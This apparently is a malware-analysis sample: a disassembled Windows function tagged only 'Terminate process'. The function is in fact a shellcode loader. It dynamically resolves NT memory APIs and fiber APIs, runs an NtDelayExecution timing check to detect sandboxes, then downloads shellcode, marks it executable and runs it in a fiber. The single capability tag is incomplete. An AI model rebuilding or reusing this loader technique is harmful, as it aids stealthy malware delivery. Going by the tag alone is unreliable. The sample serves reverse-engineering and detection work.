Function at 0x140001360
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x80
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor eax, eax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x38], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call fcn.140001070
mov r12, rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, rbx
call fcn.140001070
mov r13, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, str.CreateFiberEx
mov rcx, rax
call fcn.140001070
mov rsi, rax
lea rdx, str.SwitchToFiber
mov rcx, rbx
call fcn.140001070
mov r15, rax
lea rdx, str.ConvertThreadToFiberEx
mov rcx, rbx
call fcn.140001070
mov r14, rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtDelayExecution
mov rcx, rax
call fcn.140001070
mov qword [rsp + 0x50], 0xfffffffffd050f80
test rax, rax
je 0x1400014c6
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rax
test eax, eax
jns 0x140001460
lea rcx, str.Failed_to_delay_execution_using_NT_API._n
jmp 0x1400014cd
lea rcx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x72]
sub ecx, eax
imul edx, ecx, 0x3c
movzx eax, word [rsp + 0x64]
sub edx, eax
movzx eax, word [rsp + 0x74]
add edx, eax
movd xmm1, edx
cvtdq2pd xmm1, xmm1
movzx eax, word [rsp + 0x66]
movzx ecx, word [rsp + 0x76]
sub ecx, eax
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x1400035b8]
addsd xmm1, xmm0
movsd xmm0, qword [0x1400035b0]
comisd xmm0, xmm1
jb 0x1400014d2
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, str.NtDelayExecution_not_found._n
call fcn.140001010
lea r9, [rsp + 0x30]
call fcn.140001120
mov rdi, rax
test rax, rax
je 0x1400015dc
mov ebx, dword [rsp + 0x30]
test ebx, ebx
je 0x1400015dc
xor ecx, ecx
call r14
test rax, rax
jne 0x14000150a
lea rcx, str.Failed_to_convert_thread_to_fiber._n
jmp 0x1400015e3
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x1000
lea r9, [rsp + 0x40]
xor r8d, r8d
lea rdx, [rsp + 0x38]
call r12
test eax, eax
jns 0x140001548
lea rcx, str.Failed_to_allocate_memory_for_shellcode._n
jmp 0x1400015e3
mov r8, rbx
mov rdx, rdi
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll_memcpy
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x38]
call r13
test eax, eax
jns 0x14000158b
lea rcx, str.Failed_to_change_memory_protection._n
jmp 0x1400015e3
test rsi, rsi
je 0x1400015d3
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x38]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rsi
mov rbx, rax
test rax, rax
jne 0x1400015b8
lea rcx, str.Failed_to_create_fiber_for_shellcode._n
jmp 0x1400015e3
lea rcx, str.Switching_to_shellcode_fiber..._n
call fcn.140001010
mov rcx, rbx
call r15
lea rcx, str.Returned_from_shellcode_fiber._n
jmp 0x1400015e3
lea rcx, str.CreateFiberEx_not_resolved._n
jmp 0x1400015e3
lea rcx, str.Failed_to_download_shellcode._n
call fcn.140001010
nop
xor eax, eax
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140001630
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret